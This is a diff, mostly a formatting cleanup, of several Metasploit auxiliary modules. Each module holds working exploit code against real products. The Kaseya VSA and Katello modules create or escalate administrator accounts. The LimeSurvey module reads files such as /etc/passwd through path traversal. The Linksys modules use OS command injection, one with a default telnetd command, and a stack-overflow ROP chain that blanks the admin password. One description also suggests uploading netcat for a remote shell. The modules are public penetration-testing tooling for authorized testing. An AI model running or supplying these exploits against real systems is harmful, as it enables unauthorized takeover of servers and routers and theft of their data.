def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Kaseya VSA Master Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
|
||||
Master Administrator account. Normally this page is only accessible via the localhost
|
||||
interface, but the application does nothing to prevent this apart from attempting to
|
||||
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
|
||||
v9.0.0.3.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Kaseya VSA Master Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
|
||||
Master Administrator account. Normally this page is only accessible via the localhost
|
||||
interface, but the application does nothing to prevent this apart from attempting to
|
||||
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
|
||||
v9.0.0.3.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2015-6922'],
|
||||
['ZDI', '15-448'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
|
||||
['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
|
||||
],
|
||||
'DisclosureDate' => '2015-09-23'))
|
||||
'DisclosureDate' => '2015-09-23'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
|
||||
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
|
||||
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
|
||||
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
|
||||
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
|
||||
'method' =>'GET',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
|
||||
session_val = $1
|
||||
session_val = ::Regexp.last_match(1)
|
||||
else
|
||||
print_error("Failed to get sessionVal")
|
||||
print_error('Failed to get sessionVal')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -58,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
|
||||
'method' =>'POST',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'sessionVal' => session_val,
|
||||
'adminName' => datastore['KASEYA_USER'],
|
||||
|
@ -70,20 +72,20 @@ class MetasploitModule < Msf::Auxiliary
|
|||
})
|
||||
|
||||
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
|
||||
print_error("Master Administrator account creation failed")
|
||||
print_error('Master Administrator account creation failed')
|
||||
return
|
||||
end
|
||||
|
||||
print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: datastore['KASEYA_USER'],
|
||||
private_data: datastore['KASEYA_PASS'],
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
access_level: 'Master Administrator',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
module_fullname: fullname,
|
||||
username: datastore['KASEYA_USER'],
|
||||
private_data: datastore['KASEYA_PASS'],
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
access_level: 'Master Administrator',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
end
|
||||
|
|
|
@ -8,21 +8,20 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
|
||||
'Description' => %q{
|
||||
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
|
||||
'Description' => %q{
|
||||
This module exploits a missing authorization vulnerability in the
|
||||
"update_roles" action of "users" controller of Katello and Red Hat Satellite
|
||||
(Katello 1.5.0-14 and earlier) by changing the specified account to an
|
||||
administrator account.
|
||||
},
|
||||
'Author' => 'Ramon de C Valle',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-2143'],
|
||||
['CWE', '862'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']
|
||||
],
|
||||
'Author' => 'Ramon de C Valle',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2013-2143'],
|
||||
['CWE', '862'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 24 2014'
|
||||
)
|
||||
|
||||
|
@ -40,8 +39,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run
|
||||
print_status("Logging into #{target_url}...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
|
||||
'vars_get' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
|
@ -53,11 +52,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
if res.headers['Location'] =~ /user_session\/new$/
|
||||
if res.headers['Location'] =~ %r{user_session/new$}
|
||||
print_error('Authentication failed')
|
||||
return
|
||||
else
|
||||
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
|
||||
session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
|
||||
|
||||
if session.nil?
|
||||
print_error('Failed to retrieve the current session')
|
||||
|
@ -69,7 +68,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi(
|
||||
'cookie' => "_katello_session=#{session}",
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard')
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard')
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
|
@ -77,11 +76,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
if res.headers['Location'] =~ /user_session\/new$/
|
||||
if res.headers['Location'] =~ %r{user_session/new$}
|
||||
print_error('Authentication failed')
|
||||
return
|
||||
else
|
||||
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
|
||||
session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
|
||||
|
||||
if session.nil?
|
||||
print_error('Failed to retrieve the current session')
|
||||
|
@ -89,19 +88,21 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
if res.headers['Location'] =~ /user_session\/new$/
|
||||
if res.headers['Location'] =~ %r{user_session/new$}
|
||||
print_error('Failed to retrieve the user id')
|
||||
return
|
||||
else
|
||||
csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
|
||||
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
|
||||
csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(\S*)" +name="csrf-token" */?>}i
|
||||
if csrf_token.nil? && (res.body =~ %r{<meta +name="csrf-token" +content="(\S*)" */?>}i)
|
||||
csrf_token = ::Regexp.last_match(1)
|
||||
end
|
||||
|
||||
if csrf_token.nil?
|
||||
print_error('Failed to retrieve the CSRF token')
|
||||
return
|
||||
end
|
||||
|
||||
user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
|
||||
user = ::Regexp.last_match(1) if res.body =~ %r{/users.(\d+)#list_search=#{datastore['USERNAME']}}
|
||||
|
||||
if user.nil?
|
||||
print_error('Failed to retrieve the user id')
|
||||
|
@ -111,12 +112,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
|
||||
res = send_request_cgi(
|
||||
'cookie' => "_katello_session=#{session}",
|
||||
'headers' => {
|
||||
'X-CSRF-Token' => csrf_token
|
||||
'cookie' => "_katello_session=#{session}",
|
||||
'headers' => {
|
||||
'X-CSRF-Token' => csrf_token
|
||||
},
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
|
||||
'vars_post' => {
|
||||
'user[role_ids][]' => '1'
|
||||
}
|
||||
|
|
|
@ -10,35 +10,38 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Limesurvey Unauthenticated File Download",
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated file download vulnerability
|
||||
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
|
||||
as a ZIP and unzipped automatically, thus binary files can be downloaded.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Limesurvey Unauthenticated File Download',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated file download vulnerability
|
||||
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
|
||||
as a ZIP and unzipped automatically, thus binary files can be downloaded.
|
||||
},
|
||||
'Author' => [
|
||||
'Pichaya Morimoto', # Vulnerability Discovery
|
||||
'Christian Mehlmauer' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],
|
||||
['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],
|
||||
['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
|
||||
],
|
||||
'DisclosureDate' => '2015-10-12'))
|
||||
'DisclosureDate' => '2015-10-12'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, "The base path to the limesurvey installation", '/']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),
|
||||
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
|
||||
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def filepath
|
||||
|
@ -50,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def payload
|
||||
traversal = "/.." * traversal_depth
|
||||
traversal = '/..' * traversal_depth
|
||||
file = "#{traversal}#{filepath}"
|
||||
serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
|
||||
Rex::Text.encode_base64(serialized)
|
||||
|
|
|
@ -7,32 +7,36 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Some Linksys Routers are vulnerable to an authenticated OS command injection.
|
||||
Default credentials for the web interface are admin/admin or admin/password. Since
|
||||
it is a blind os command injection vulnerability, there is no output for the
|
||||
executed command. A ping command against a controlled system for can be used for
|
||||
testing purposes.
|
||||
},
|
||||
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
Default credentials for the web interface are admin/admin or admin/password. Since
|
||||
it is a blind os command injection vulnerability, there is no output for the
|
||||
executed command. A ping command against a controlled system for can be used for
|
||||
testing purposes.
|
||||
},
|
||||
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'OSVDB', '89912' ],
|
||||
[ 'BID', '57760' ],
|
||||
[ 'EDB', '24475' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
|
||||
],
|
||||
'DisclosureDate' => '2013-02-05'))
|
||||
'DisclosureDate' => '2013-02-05'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),
|
||||
OptString.new('HttpPassword',[ true, 'Password to login with', 'password']),
|
||||
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
|
||||
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -44,9 +48,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user,pass)
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user, pass)
|
||||
})
|
||||
|
||||
return if res.nil?
|
||||
|
@ -58,7 +62,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
return
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return
|
||||
|
@ -74,19 +77,19 @@ class MetasploitModule < Msf::Auxiliary
|
|||
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'authorization' => basic_auth(user,pass),
|
||||
'authorization' => basic_auth(user, pass),
|
||||
'vars_post' => {
|
||||
"submit_button" => "Diagnostics",
|
||||
"change_action" => "gozila_cgi",
|
||||
"submit_type" => "start_ping",
|
||||
"action" => "",
|
||||
"commit" => "0",
|
||||
"ping_ip" => "1.1.1.1",
|
||||
"ping_size" => "&#{cmd}&",
|
||||
"ping_times" => "5",
|
||||
"traceroute_ip" => ""
|
||||
'submit_button' => 'Diagnostics',
|
||||
'change_action' => 'gozila_cgi',
|
||||
'submit_type' => 'start_ping',
|
||||
'action' => '',
|
||||
'commit' => '0',
|
||||
'ping_ip' => '1.1.1.1',
|
||||
'ping_size' => "&#{cmd}&",
|
||||
'ping_times' => '5',
|
||||
'traceroute_ip' => ''
|
||||
}
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
|
|
|
@ -7,35 +7,37 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router
|
||||
to reset the password of the management interface temporarily to an empty value.
|
||||
This module has been tested successfully on a WRT120N device with firmware version
|
||||
1.0.07.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Heffner', # vulnerability discovery and original exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router
|
||||
to reset the password of the management interface temporarily to an empty value.
|
||||
This module has been tested successfully on a WRT120N device with firmware version
|
||||
1.0.07.
|
||||
},
|
||||
'Author' => [
|
||||
'Craig Heffner', # vulnerability discovery and original exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'EDB', '31758' ],
|
||||
[ 'OSVDB', '103521' ],
|
||||
[ 'URL', 'https://web.archive.org/web/20210424073058/http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit
|
||||
],
|
||||
'DisclosureDate' => '2014-02-19'))
|
||||
'DisclosureDate' => '2014-02-19'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check_login(user)
|
||||
print_status("Trying to login with #{user} and empty password")
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user,"")
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user, '')
|
||||
})
|
||||
if res.nil? || res.code == 404
|
||||
print_status("No login possible with #{user} and empty password")
|
||||
|
@ -50,56 +52,56 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
|
||||
begin
|
||||
if check_login("admin")
|
||||
print_good("login with user admin and no password possible. There is no need to use this module.")
|
||||
if check_login('admin')
|
||||
print_good('login with user admin and no password possible. There is no need to use this module.')
|
||||
return
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("Failed to connect to the web server")
|
||||
print_error('Failed to connect to the web server')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Resetting password for the admin user ...")
|
||||
print_status('Resetting password for the admin user ...')
|
||||
|
||||
postdata = Rex::Text.rand_text_alpha(246) # Filler
|
||||
postdata << [0x81544AF0].pack("N") # $s0, address of admin password in memory
|
||||
postdata << [0x8031f634].pack("N") # $ra
|
||||
postdata << [0x81544AF0].pack('N') # $s0, address of admin password in memory
|
||||
postdata << [0x8031f634].pack('N') # $ra
|
||||
postdata << Rex::Text.rand_text_alpha(40) # Stack filler
|
||||
postdata << Rex::Text.rand_text_alpha(4) # Stack filler
|
||||
postdata << [0x803471b8].pack("N") # ROP 1 $ra (address of ROP 2)
|
||||
postdata << [0x803471b8].pack('N') # ROP 1 $ra (address of ROP 2)
|
||||
postdata << Rex::Text.rand_text_alpha(8) # Stack filler
|
||||
|
||||
(0..3).each do |i|
|
||||
4.times do |i|
|
||||
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s0, don't care
|
||||
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s1, don't care
|
||||
postdata << [0x803471b8].pack("N") # ROP 2 $ra (address of itself)
|
||||
postdata << Rex::Text.rand_text_alpha(4-(3*(i/3))) # Stack filler
|
||||
postdata << [0x803471b8].pack('N') # ROP 2 $ra (address of itself)
|
||||
postdata << Rex::Text.rand_text_alpha(4 - (3 * (i / 3))) # Stack filler
|
||||
end
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri("cgi-bin", "tmUnblock.cgi"),
|
||||
'uri' => normalize_uri('cgi-bin', 'tmUnblock.cgi'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'period' => '0',
|
||||
'TM_Block_MAC' => '00:01:02:03:04:05',
|
||||
'TM_Block_URL' => postdata
|
||||
}
|
||||
})
|
||||
if res and res.code == 500
|
||||
if check_login("admin")
|
||||
print_good("Expected answer and the login was successful. Try to login with the user admin and a blank password")
|
||||
}
|
||||
)
|
||||
if res && (res.code == 500)
|
||||
if check_login('admin')
|
||||
print_good('Expected answer and the login was successful. Try to login with the user admin and a blank password')
|
||||
else
|
||||
print_status("Expected answer, but unknown exploit status. Try to login with the user admin and a blank password")
|
||||
print_status('Expected answer, but unknown exploit status. Try to login with the user admin and a blank password')
|
||||
end
|
||||
else
|
||||
print_error("Unexpected answer. Exploit attempt has failed")
|
||||
print_error('Unexpected answer. Exploit attempt has failed')
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("Failed to connect to the web server")
|
||||
print_error('Failed to connect to the web server')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,46 +7,50 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linksys WRT54GL Remote Command Execution',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linksys WRT54GL Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Some Linksys Routers are vulnerable to OS Command injection.
|
||||
You will need credentials to the web interface to access the vulnerable part
|
||||
of the application.
|
||||
Default credentials are always a good starting point. admin/admin or admin
|
||||
and blank password could be a first try.
|
||||
Note: This is a blind OS command injection vulnerability. This means that
|
||||
you will not see any output of your command. Try a ping command to your
|
||||
local system and observe the packets with tcpdump (or equivalent) for a first test.
|
||||
You will need credentials to the web interface to access the vulnerable part
|
||||
of the application.
|
||||
Default credentials are always a good starting point. admin/admin or admin
|
||||
and blank password could be a first try.
|
||||
Note: This is a blind OS command injection vulnerability. This means that
|
||||
you will not see any output of your command. Try a ping command to your
|
||||
local system and observe the packets with tcpdump (or equivalent) for a first test.
|
||||
|
||||
Hint: To get a remote shell you could upload a netcat binary and exec it.
|
||||
WARNING: this module will overwrite network and DHCP configuration.
|
||||
},
|
||||
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
Hint: To get a remote shell you could upload a netcat binary and exec it.
|
||||
WARNING: this module will overwrite network and DHCP configuration.
|
||||
},
|
||||
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
|
||||
[ 'EDB', '24202' ],
|
||||
[ 'BID', '57459' ],
|
||||
[ 'OSVDB', '89421' ]
|
||||
],
|
||||
'DisclosureDate' => '2013-01-18'))
|
||||
'DisclosureDate' => '2013-01-18'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']),
|
||||
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),
|
||||
OptString.new('HttpPassword',[ false, 'Password to login with', 'password']),
|
||||
OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']),
|
||||
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),
|
||||
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
|
||||
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
|
||||
OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),
|
||||
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
|
||||
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
|
||||
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# If the user configured LANIP, use it. Otherwise, use RHOST.
|
||||
|
@ -60,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
#setting up some basic variables
|
||||
# setting up some basic variables
|
||||
uri = datastore['TARGETURI']
|
||||
user = datastore['HttpUsername']
|
||||
rhost = datastore['RHOST']
|
||||
|
@ -72,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
ip = lan_ip.split('.')
|
||||
|
||||
if datastore['HttpPassword'].nil?
|
||||
pass = ""
|
||||
pass = ''
|
||||
else
|
||||
pass = datastore['HttpPassword']
|
||||
end
|
||||
|
@ -81,18 +85,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user,pass)
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user, pass)
|
||||
})
|
||||
|
||||
unless (res.kind_of? Rex::Proto::Http::Response)
|
||||
unless (res.is_a? Rex::Proto::Http::Response)
|
||||
vprint_error("#{rhost} not responding")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if (res.code == 404)
|
||||
print_error("Not Found page returned")
|
||||
print_error('Not Found page returned')
|
||||
return :abort
|
||||
end
|
||||
|
||||
|
@ -102,7 +106,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
|
||||
return :abort
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost} - Failed to connect to the web server")
|
||||
return :abort
|
||||
|
@ -110,18 +113,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
cmd = datastore['CMD']
|
||||
|
||||
print_status("Sending remote command: " + cmd)
|
||||
print_status('Sending remote command: ' + cmd)
|
||||
|
||||
#cmd = Rex::Text.uri_encode(datastore['CMD'])
|
||||
#original Post Request:
|
||||
#data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
|
||||
#data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
|
||||
#data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
|
||||
#data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
|
||||
#data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
|
||||
#data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
|
||||
#data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
|
||||
#data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
|
||||
# cmd = Rex::Text.uri_encode(datastore['CMD'])
|
||||
# original Post Request:
|
||||
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
|
||||
# data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
|
||||
# data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
|
||||
# data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
|
||||
# data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
|
||||
# data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
|
||||
# data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
|
||||
# data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
|
||||
|
||||
vprint_status("using the following target URL: #{uri}")
|
||||
|
||||
|
@ -129,55 +132,55 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'authorization' => basic_auth(user,pass),
|
||||
#'data' => data_cmd,
|
||||
'authorization' => basic_auth(user, pass),
|
||||
# 'data' => data_cmd,
|
||||
|
||||
'vars_post' => {
|
||||
'submit_button' => "index",
|
||||
'change_action' => "1",
|
||||
'submit_type' => "1",
|
||||
'action' => "Apply",
|
||||
'now_proto' => "dhcp",
|
